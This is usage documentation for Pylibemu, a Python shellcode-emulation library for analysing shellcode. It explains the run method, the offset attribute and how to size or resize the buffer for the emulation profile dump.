The new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not to worry about details. Moreover the new Emulator attribute `offset' allows to get such information if needed.
>>> emulator = pylibemu.Emulator()
>>> emulator.run(shellcode)
0
>>> emulator.offset
4
>>> print emulator.emu_profile_output

The Emulator accepts the optional parameter 'output_size' which defines how much memory will be reserved for storing the emulation profile dump. By default, its size is 1MB but it be can changed in two possible ways
>>> emulator = pylibemu.Emulator(1024)
>>> emulator = pylibemu.Emulator()
>>> emulator.set_output_size(1024)
If the reserved memory is not enough to contain the entire dump, the dump will be truncated and the Emulator attribute 'emu_profile_truncated' will be set to True. This approach is needed in order not to penalize performances while analyzing some shellcodes which may produce several MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is needed a really simple approach could be to check the `emu_profile_truncated' attribute after the shellcode emulation test, increase the reserved memory through the Emulator 'set_output_size' method and subsequently run the shellcode emulation test again as shown above.
